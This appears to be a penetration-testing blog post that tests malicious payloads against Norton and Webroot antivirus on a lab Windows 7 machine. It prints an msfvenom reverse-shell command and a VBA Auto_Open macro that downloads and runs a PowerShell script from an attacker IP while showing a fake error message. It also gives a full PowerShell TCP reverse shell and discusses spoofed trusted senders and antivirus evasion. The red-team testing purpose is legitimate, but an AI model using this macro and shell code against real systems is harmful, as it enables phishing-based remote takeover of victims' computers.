There are a variety of methods for generating payloads and depending on the avenue of attack, one method might prove to be a better route than another.  For example, in my opinion, any sort of .bat file email attachment or web download comes off as a bit more suspicious to me than say an emailed Excel or Word document.  That's not to say that you couldn't get someone to launch a .bat file but it's a lot more likely that someone would open a Word or Excel document from a trusted friend or colleague -- if you were able to spoof email from that trusted friend or colleague.  

It's also been my experience that the protection mechanisms on modern operating systems are getting better.  That is to say that Windows 8 & 10 are better than say Windows 7 and some antivirus products are proving to be a bit more challenging to get around than in years past.  Again, I'm leaning more toward the Office document rather than something that comes off as suspicious to these protections.

I'm going to start with the very basic payload generators and move to some of the more recent.  Although I see a number of examples for generating msfvenom payloads directly to .exe files, I've never seen a system running ANY kind of antivirus not pickup on the signature instantly.

This is the typical .exe msfvenom payload for an x86 system:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=192.168.86.99 LPORT=443 -f exe >> mrsh443_x86.exe





We can also generate payloads in Veil and Veil-Evasion:

And with PowerShell Empire:





Moving all of these payloads into a folder for download:





And now here's where we get realistic.  While we might find Apple computers without Antivirus, it's RARE that we find a Windows Machine without some sort of Antivirus protection.  On Windows 8 & 10, Windows Defender will do a pretty good job of protecting your system without Antivirus but on Windows 7, not so much. 

We're going to install a trial version of Norton Antivirus on a Windows 7 machine prior to attempting to download and execute our payloads:





Grabbing the msfvenom generated shell:







We ignore the warning and select Keep:






Norton catches it.  Honestly, with antivirus, we're never going to get a straight up generated msfvenom payload through to the system.  

Next, we're going to attempt to download the Veil generated payload:






Again, we're going to ignore the warning and select Keep:





Norton is thinking about it but we get denied:





Moving on, we're going to attempt to download an Empire payload:






Norton won't even give us the option to make a bad decision, this one gets blocked immediately:





It's import to know as much information about your target as possible.  Windows 7, 8, and 10, will all be different.  In addition, this Windows 7 system I'm attacking is a 32 bit system whereas most systems we find today are 64 bit.  In addition, not all antivirus products act the same and it's important to know what the target is running.  With this specific Norton product, it's impossible to get around the protection mechanism with non-custom payloads.

Moving to another product, we uninstall Norton and we install Webroot:  "To secure your business, you need endpoint protection that’s stronger and smarter than traditional business antivirus."

I'll be the judge of that.  :)  Spoiler alert -- it's not stronger and smarter than your "traditional business antivirus".

Starting the download process all over again:





As I mentioned moments ago, you're never going to get this payload through if the system is running Antivirus:





Aside from that payload, Webroot tragically fails with the rest.

Downloading the Veil payload:





Ignoring the warning above, choosing Keep, we are able to successfully download the payload:





Getting setup in Metasploit:





We execute the batch file:





We catch our shell and Webroot never detects anything malicious going on.  

Moving on to our Empire payload:





Choosing Keep, executing the batch file, with Empire setup:





Again, Webroot is asleep at the wheel and we catch our shell:





I personally think payloads embedded in documents are a better route because we're all accustomed to the:

"PROTECTED VIEW  Be careful -- email attachments can contain viruses."  With the accompanying "Enable Editing" message.  If we mildly trust the source, we breeze past this message without hesitation while clicking the Enable Editing button.

Maybe we hesitate a bit more when we're prompted with the "Macros have been disabled." with the accompanying "Enable Content" button but if it's a trusted source?

A while back, I wrote a post on "Malicious Macros" in which I used Unicorn:





We generate our macro payload.  We need to enable the Developer tab in order to create a macro:





With macros now visible, we create a macro according to the instructions:





We paste the content:





We save as a Macro-Enabled Workbook:





We download the evil document:





We Enable Editing and Enable Content:





By design, the macro throws an error to make it less suspicious:





And it doesn't work. 

This is an excellent reason to test what we're doing in advance of going live.  I have no idea why it didn't work and because the whole thing is obfuscated, I can't even attempt to debug what's going on.  I posted a link to my previous use of Unicorn in which I was successful.  I don't see Webroot acting on the document, it just doesn't work.  

I did a quick search and there were comments on how the script has been changed over time due to a cat and mouse between the developer and perhaps Microsoft?  Anyway, for now this avenue doesn't work.

Taking a similar approach with a payload that isn't obfuscated in the least, my macro contains the following:

Sub Auto_Open()
Shell ("POWERSHELL.exe -noexit & " & "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.86.99/reverse.ps1')")
Dim title As String
title = "Microsoft Office (Compatibility Mode)"
Dim msg As String
Dim intResponse As Integer
msg = "This application appears to have been made with an older version of the Microsoft Office product suite. Please have the author
save this document to a newer and supported format. [Error Code: -219]"
intResponse = MsgBox(msg, 16, title)
Application.Quit
End Sub

Essentially, when the macro is enabled, it downloads a PowerShell reverse shell.  It also contains that lovely error message from Unicorn.  The PowerShell reverse shell looks like this:

$client = New-Object System.Net.Sockets.TCPClient("192.168.86.99",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()

We download our evil Excel document:





We Enable Editing:





We Enable Content:





With Netcat setup:





We catch our shell.  

Red team, blue team, system administrator, security enthusiast, or whatever you are -- it's important to test all of the angles to determine what works and what does not.  When I originally started writing this post, it was going be exclusively about payloads until I saw the impressive success of Norton and the CATASTROPHIC failure of Webroot.  I've tested Webroot in the past but not to this level and I expected it to fall somewhere in the middle.  I had a similar feeling with regards to the Norton product.  Boy, was I wrong!  Webroot clearly gives a false sense of hope and if that doesn't hammer the point of testing, I don't know what will. 

I wear many hats and one of them is the decision maker on products.  It will be hard to recommend Webroot moving forward.  

As a final point, someone might mention that a user would have to intentionally download and execute the .bat file.  While that's true, it is my job to put as much protection as possible in between the user and bad things.  And it's not like a user hasn't accidentally clicked on an evil attachment, download, etc.